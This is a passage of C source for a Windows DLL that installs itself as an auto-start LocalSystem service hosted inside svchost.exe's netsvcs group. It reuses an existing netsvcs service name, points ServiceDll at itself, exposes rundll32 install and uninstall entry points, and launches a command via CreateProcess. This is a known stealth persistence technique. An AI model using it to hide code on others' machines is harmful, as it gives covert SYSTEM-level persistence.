if(!CreateProcess(NULL, cmd, NULL, NULL, false, 0, NULL, NULL, &si, &pi))
OutputString("SvcHostDLL: CreateProcess(%s) error:%d", cmd, GetLastError());
else OutputString("SvcHostDLL: CreateProcess(%s) to %d", cmd, pi.dwProcessId);
return 0;
}
int InstallService(char *name)
{
// Open a handle to the SC Manager database.
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
SC_HANDLE hscm = NULL, schService = NULL;
try{
char buff[500];
char *svcname = DEFAULT_SERVICE;
if(name && name[0]) svcname = name;
//query svchost setting
char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
if(ERROR_SUCCESS != rc)
{
OutputString("RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.", pSvchost, rc);
throw "";
}
DWORD type, size = sizeof buff;
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
RegCloseKey(hkRoot);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegQueryValueEx(Svchost\\netsvcs)";
for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
if(stricmp(ptr, svcname) == 0) break;
if(*ptr == 0)
{
OutputString("you specify service name not in Svchost\\netsvcs, must be one of following:");
for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
OutputString(" – %s", ptr);
throw "";
}
//install service
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
throw "OpenSCManager()";
char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
schService = CreateService(
hscm, // SCManager database
svcname, // name of service
NULL, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_SHARE_PROCESS, // service type
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
bin, // service’s binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
if (schService == NULL)
{
OutputString("CreateService(%s) error %d", svcname, rc = GetLastError());
throw "";
}
OutputString("CreateService(%s) SUCCESS. Config it", svcname);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
//config service
hkRoot = HKEY_LOCAL_MACHINE;
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
strncat(buff, svcname, 100);
rc = RegOpenKeyEx(hkRoot, buff, 0, KEY_ALL_ACCESS, &hkRoot);
if(ERROR_SUCCESS != rc)
{
OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", svcname, rc);
throw "";
}
rc = RegCreateKey(hkRoot, "Parameters", &hkParam);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegCreateKey(Parameters)";
if(!GetModuleFileName(HMODULE(hDll), buff, sizeof buff))
throw "GetModuleFileName() get dll path";
rc = RegSetValueEx(hkParam, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegSetValueEx(ServiceDll)";
OutputString("Config service %s ok.", svcname);
}catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
OutputString("%s error %d", str, rc);
}
}
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
return rc;
}
/*
used to install by rundll32.exe
Platform SDK: Tools – Rundll32
The Run DLL utility (Rundll32.exe) included in Windows enables you to call functions exported from a 32-bit DLL. These functions must have the following syntax:
*/
void CALLBACK RundllInstallA(
HWND hwnd, // handle to owner window
HINSTANCE hinst, // instance handle for the DLL
char *param, // string the DLL will parse
int nCmdShow // show state
)
{
InstallService(param);
}
int UninstallService(char *name)
{
int rc = 0;
SC_HANDLE schService;
SC_HANDLE hscm;
__try{
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
{
OutputString("OpenSCManager() error %d", rc = GetLastError() );
return rc;
}
char *svcname = DEFAULT_SERVICE;
if(name && name[0]) svcname = name;
schService = OpenService(hscm, svcname, DELETE);
if (schService == NULL)
{
OutputString("OpenService(%s) error %d", svcname, rc = GetLastError() );
return rc;
}
if (!DeleteService(schService) )
{
OutputString("OpenService(%s) error %d", svcname, rc = GetLastError() );
return rc;
}
OutputString("DeleteService(%s) SUCCESS.", svcname);
}__except(1)
{
OutputString("Exception Catched 0x%X", GetExceptionCode());
}
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
return rc;
}
/*
used to uninstall by rundll32.exe
Platform SDK: Tools – Rundll32
The Run DLL utility (Rundll32.exe) included in Windows enables you to call functions exported from a 32-bit DLL. These functions must have the following syntax:
*/
void CALLBACK RundllUninstallA(
HWND hwnd, // handle to owner window
HINSTANCE hinst, // instance handle for the DLL
char *param, // string the DLL will parse
int nCmdShow // show state
)
{
UninstallService(param);
}
//output the debug infor into log file & DbgPrint
void OutputString( char *lpFmt, … )
{
char buff[1024];
va_list arglist;
va_start( arglist, lpFmt );
_vsnprintf( buff, sizeof buff, lpFmt, arglist );
va_end( arglist );
DWORD len;
HANDLE herr = GetStdHandle(STD_OUTPUT_HANDLE);
if(herr != INVALID_HANDLE_VALUE)
{
WriteFile(herr, buff, strlen(buff), &len, NULL);
WriteFile(herr, "\r\n", 2, &len, NULL);
}else
{
FILE *fp = fopen("SvcHost.DLL.log", "a");
if(fp)
{
char date[20], time[20];
fprintf(fp, "%s %s – %s\n", _strdate(date), _strtime(time), buff);
if(!stderr) fclose(fp);
}
}
OutputDebugString(buff);
}